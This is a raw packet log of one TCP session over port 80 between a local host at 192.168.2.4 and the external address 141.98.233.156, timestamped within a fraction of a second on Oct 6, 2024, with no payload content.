Oct 6, 2024 22:33:17.820703030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820707083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820719004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820733070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820734024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820744038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820749998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820765972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820766926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820776939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820784092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820791006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820799112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820807934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820815086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820825100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820837021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820841074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820854902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820857048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820873022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820878983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820887089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820888042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820905924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820905924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820920944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820925951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820940971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820940971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820956945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820960045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820974112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.820980072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820990086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.820991039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821007013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821007013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821021080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821028948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821038961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821043015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821054935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821059942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821074963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821079016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821089983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821093082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821105957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821108103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821120977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821125031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821137905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821141958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821156025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821158886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821167946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821172953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821188927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821192980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821202993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821203947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821223021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821239948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821505070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821521997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821536064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821543932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821551085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821554899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821567059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821568012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821583033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821587086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821599007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821599007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821615934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821619987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821631908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821636915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821649075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821650028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821669102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821685076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821787119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821801901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821815968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821824074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821832895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821834087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821850061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821854115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821865082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821866989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821885109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821890116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821906090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821919918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821935892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821944952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821950912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821969986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.821975946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821990013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.821994066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822010040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822016954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822025061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822027922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822046041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822046995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822057009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822071075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822087049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822103024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822110891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822118998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822134018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822134018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822149992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822158098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822165012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822180986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822182894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822196960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822205067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822213888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822227955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822230101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822237015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822247028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822256088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822262049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822267056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822278976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822285891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822295904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822302103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822314978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822315931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822329044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822330952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822346926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822349072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822361946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822367907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822377920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822377920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822395086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822398901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822412014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822421074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822421074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822429895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822446108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822458029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822459936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822484970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822503090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822540998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822689056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822705030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822720051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822735071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822743893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822751045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822767019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822767973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822782993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822789907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822799921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822813034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822815895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822838068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822859049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822941065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822957039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822971106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822977066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.822988987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.822993994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823004961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823012114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823020935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823020935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823036909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823041916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823050976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823052883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823069096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823076010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823084116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823086023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823108912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823112011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823120117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823124886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823139906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823143959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823158026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823167086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823168039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823175907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823190928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823208094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823214054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823224068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823249102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823261976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823263884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823271036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823278904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823287964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823296070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823301077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823312998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823322058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823328972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823331118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823344946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823350906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823360920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823369026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823376894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823390007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823405981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823410988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823419094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823429108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823445082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823461056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823468924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823477030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823489904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823494911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823512077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823514938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823524952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823529959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823545933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823553085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823561907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823575974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823577881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823586941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823594093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823607922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823616028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823637009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823641062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823652029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823674917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823693991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823837042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823852062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823867083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823884010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823890924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823899984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823915005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823915958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823931932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823940039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823947906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823962927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.823965073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823988914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.823997021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.824011087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.824013948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.824037075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.824043989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.824043989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.824054956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.824070930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.824085951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.824094057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.824103117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.824119091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.824142933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.828854084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.829644918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871234894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871273994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871294975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871309042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871319056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871342897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871377945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871401072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871444941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871452093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871501923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871535063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871550083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871571064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871571064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871675968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871692896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871710062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871717930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871742964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871751070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871777058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871788025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871822119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871841908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871876955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871889114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871910095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871922970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871946096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.871958017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871990919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.871998072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872033119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872046947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872065067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872078896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872100115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872112036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872134924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872147083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872170925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872181892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872205019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872216940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872239113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872251034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872272968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872283936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872313023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872323036 CEST	49741	80	192.168.2.4	141.98.233.156
